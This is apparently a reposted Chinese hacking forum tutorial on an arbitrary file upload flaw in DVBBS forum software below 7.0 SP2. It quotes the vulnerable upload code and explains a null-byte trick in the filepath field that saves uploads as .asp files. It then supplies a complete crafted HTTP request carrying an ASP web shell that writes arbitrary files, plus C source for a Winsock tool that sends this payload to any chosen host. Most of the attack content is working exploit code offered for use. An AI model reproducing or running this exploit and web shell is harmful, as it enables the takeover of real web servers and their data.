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最近一段時間比較忙,沒什么時間為組織做貢獻(實在是沒實力,呵呵).剛好前一段時間聽小豬（豬蛋兒的《目前流行的BBS安全性比較》一文請參閱：http://wvw.ttian.net/forum/viewtopic.php?id=269）說動網論壇出了一個上傳任意文件的漏洞,當時沒怎么明白.但是我看到最近NB論壇上全部都在討論有關這方面的問題,就研究了一下,發現這個漏洞確實存在,而且非常嚴重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經知道了攻擊方法,但是還是存在一些問題.下面我就動網的這個漏洞做一下講解.(不知道會不會被人罵,因為這個漏洞實在太大了).
我們先看一下動網論壇上傳文件的相關代碼:
'===========無組件上傳(upload_0)====================
sub upload_0()
set upload=new UpFile_Class ''建立上傳對象
upload.GetDate (int(Forum_Setting(56))*1024) '取得上傳數據,不限大小
iCount=0
if upload.err > 0 then
select case upload.err
case 1
Response.Write "請先選擇你要上傳的文件[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
case 2
Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
end select
exit sub
else
formPath=upload.form("filepath")
''在目錄后加(/)
if right(formPath,1)<>"/" then formPath=formPath&"/"
for each formName in upload.file ''列出所有上傳了的文件
set file=upload.file(formName) ''生成一個文件對象
if file.filesize<100 then
response.write "請先選擇你要上傳的圖片[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
response.end
end if
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正確[ <a href=# onclick=history.go(-1)>重新上傳</a> ]"
response.end
end if
randomize
ranNum=int(90000*rnd)+10000
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數據
file.SaveToFile Server.mappath(filename) ''保存文件
' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"
response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
session("upface")="done"
Htmend iCount&" 個文件上傳結束!"
end if
end sub
在上面代碼中可以看到這樣一句:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
這里,filename是保存的文件名,它是依照上傳時間來命名的,最后擴展名是表單中提交過來的文件的擴展名.但是程序中對提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼:
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload">
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構造數據包的話就不一樣了.欲望之翼提出的方法就是自已構造數據包來達到欺騙的目的.將提交的file1表單和fname表單項的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測了.
當然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關鍵就在這一句了:
formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
這句話將一段字符串合并起來.我們能改的就是formPath這個參數.在計算機中檢測字符串的關鍵就是看是否碰到'\0'字符,如果是,則認為字符串結束了.也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadface\zwell.asp"這樣的路徑參數已經結束了,這樣,后面一連串的時間字符我們都可以不要,從而達到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構造的數據包中,將表單中的filepath改成類似uploadface\zwell.asp'\0'的字符串然后發送出去就行了.
我們先來看一下數據包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業一點,^_^):
POST /forum/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)
Host: uyee.com
Content-Length: 1593
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="filepath"
uploadFace\zwell.asp
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="act"
upload
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
Content-Type: text/plain
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%>
<%if Trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save Success!</font>"%>
<%else%>
<%response.write "<font color=red>Save UnSuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set objCountFile=Nothing%>
<%Set objFSO = Nothing%>
<%Response.write "<form action='''' method=post>"%>
<%Response.Write "<input type=text name=syfdpath width=32 size=50>"%>
<%Response.Write "<br>"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
<%Response.write "<br>"%>
<%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%Response.write "<input type=submit value=save>"%>
<%Response.write "</form>"%>
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="fname"
C:\1.gif
-----------------------------7d4a325500d2
Content-Disposition: form-data; name="Submit"
上傳
-----------------------------7d4a325500d2--
上面的數據我是在WIN2003下調試的.按我前面講的,只要改幾個地方就好了
1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif"
2.Content-Disposition: form-data; name="fname"
C:\1.gif
3.最重要的地方:uploadFace\zwell.asp,怎么加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為'\0'這個字符也占一個位置,所以我們先打入一空格,然后再在UltraEdit里將對就空格符的20改成00).
至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個都行.但是最重要的是要注意這一句:
Content-Length: 1593
很多人測試都沒成功,就因為這個值設的不對,其實這個值很好算,是從第一個"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起換行作用,占兩個字符.我看論壇上大家論壇時都是說加一個字符值就加一,不是說不對,只是還要這樣數,代碼短倒無所謂,代碼要是很長怎么辦呢?:),這里告訴大家一個簡單的方法:打開記事本,將算長度的代碼復制到記事本,保存,然后看屬性就一目了然了,一個字符都不會錯.只是有一點必須注意,必須將最后的那幾個換行也復制進來.很多人就是因為沒有復制換行才失敗的.
寫了這么多,我們也看到,每一個這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下:
#include <winsock2.h>
#include <stdio.h>
#include "Resource.h"
#pragma comment(lib,"ws2_32.lib")
HINSTANCE g_hInst;
HWND g_hWnd;
HWND m_up;
HWND m_host;
HWND m_webpath;
HWND m_path;
HWND m_filename;
HWND m_upload;
DWORD m_theadid;
BYTE sendbuf[10000];
char host[80]; //主機地址
char bbspath[50]; //論壇地址
char uppath[20]; //上傳目錄
char upfilename[50]; //上傳文件名
char upfiledata[8000]; //上傳文件內容
int sendsize; //總傳送數據大小
int realsndsize = 0; //傳送頁面文件的大小
char snddata[8000];
char mm[1000]=
"<%dim objFSO%>\r\n"
"<%dim fdata%>\r\n"
"<%dim objCountFile%>\r\n"
"<%on error resume next%>\r\n"
"<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n"
"<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n"
"<%fdata = request(\"cyfddata\")%>\r\n"
"<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n"
"<%objCountFile.Write fdata%>\r\n"
"<%if err =0 then%>\r\n"
"<%response.write \"<font color=red>save Success!</font>\"%>\r\n"
"<%else%>"
"<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n"
"<%end if%>\r\n"
"<%err.clear%>\r\n"
"<%end if%>"
"<%objCountFile.Close%>\r\n"
"<%Set objCountFile=Nothing%>\r\n"
"<%Set objFSO = Nothing%>"
"<%Response.write \"<form action=\'\' method=post>\"%>\r\n"
"<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n"
"<%Response.Write \"<br>\"%>\r\n"
"<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n"
"<%Response.write \"<br>\"%>\r\n"
"<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n"
"<%Response.write \"<input type=submit value=save>\"%>\r\n"
"<%Response.write \"</form>\"%>\r\n";
//獲得控件文本
char *gettext(HWND chwnd)
{
char tmpbuf[10000];
SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf);
return tmpbuf;
}
//設置控件文本
void settext(HWND chwnd,char *text)
{
SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text);
}
char *itos(int data)
{
char tmp[10];
sprintf(tmp, "%d", data);
return tmp;
}
//上傳線程
DWORD WINAPI uploadthread(LPVOID param)
{
SOCKET s;
sockaddr_in sin;
struct hostent * hp;
unsigned int addr;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
ZeroMemory((void *)&sin, sizeof(sin));
hp = gethostbyname(gettext(m_host));
if (!hp)
addr = inet_addr(gettext(m_host));
if ((!hp) && (addr == INADDR_NONE) )
{
MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK);
return 0;
}
if (hp != NULL)
memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length);
else
sin.sin_addr.s_addr = addr;
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
strcpy(host, gettext(m_host));
strcpy(bbspath, gettext(m_webpath));
strcpy(upfiledata, gettext(m_upload));
strcpy(uppath, gettext(m_path));
strcpy(upfilename, gettext(m_filename));
realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1;
sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n"
"Accept-Language: zh-cn\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"filepath\"\r\n\r\n"
"%s\\%s",
bbspath,
host,
realsndsize,
uppath,
upfilename);
sendsize = strlen((char *)sendbuf);
sendbuf[sendsize] = '\0';
sprintf(snddata,
"\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"act\"\r\n\r\n"
"upload\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n"
"Content-Type: text/plain\r\n\r\n"
"%s\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"fname\"\r\n\r\n"
"C:\\1.gif\r\n"
"-----------------------------7d4a325500d2\r\n"
"Content-Disposition: form-data; name=\"Submit\"\r\n\r\n"
"上傳\r\n"
"-----------------------------7d4a325500d2--\r\n\r\n",
upfiledata);
strcat((char *)&sendbuf[sendsize+1], snddata);
sendsize += strlen(snddata);
sendsize += 1;
if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin)))
{
MessageBox(g_hWnd, "連接出錯!", "出錯提示:", MB_OK|MB_ICONERROR);
return 0;
}
int sendsz = send(s, (char *)sendbuf, sendsize, 0);
if(sendsz <= 0)
MessageBox(g_hWnd, "發送數據失敗", itos(WSAGetLastError()), MB_OK);
char recvbuf[10000];
recv(s, (char*)recvbuf, 10000, 0);
settext(m_upload, recvbuf);
closesocket(s);
return 0;
}
void WINAPI On_Command(WPARAM wParam)
{
switch (LOWORD(wParam))
{
case ID_UP:
CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid);
break;
case IDCANCEL:
SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL));
break;
}
}
static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_INITDIALOG:
g_hWnd = hWndDlg;
m_up = GetDlgItem(g_hWnd, ID_UP);
m_host = GetDlgItem(g_hWnd, IDC_EDIT1);
m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2);
m_path = GetDlgItem(g_hWnd, IDC_EDIT3);
m_upload = GetDlgItem(g_hWnd, IDC_EDIT4);
m_filename = GetDlgItem(g_hWnd, IDC_EDIT5);
settext(m_host, "192.168.10.101");
settext(m_webpath, "/");
settext(m_path, "uploadface");
settext(m_filename, "zwell.asp");
settext(m_upload, mm);
return TRUE;
case WM_COMMAND:
On_Command(wParam);
break;
case WM_SIZE:
break;
case WM_CLOSE:
EndDialog(g_hWnd,0);
break;
}
return FALSE;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
WSADATA wsaData;
g_hInst=hInstance;
if(WSAStartup(MAKEWORD(1, 1), &wsaData))
{
MessageBox(NULL,"無法初始化 Winsock DLL\t","錯誤",MB_OK|MB_ICONSTOP);
return 0;
}
DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc);
WSACleanup();
return 1;
}
WINDOWS2003 + VC.NET
WINDOWS2003 WINDOWS2000測試通過
（出處：viphot）
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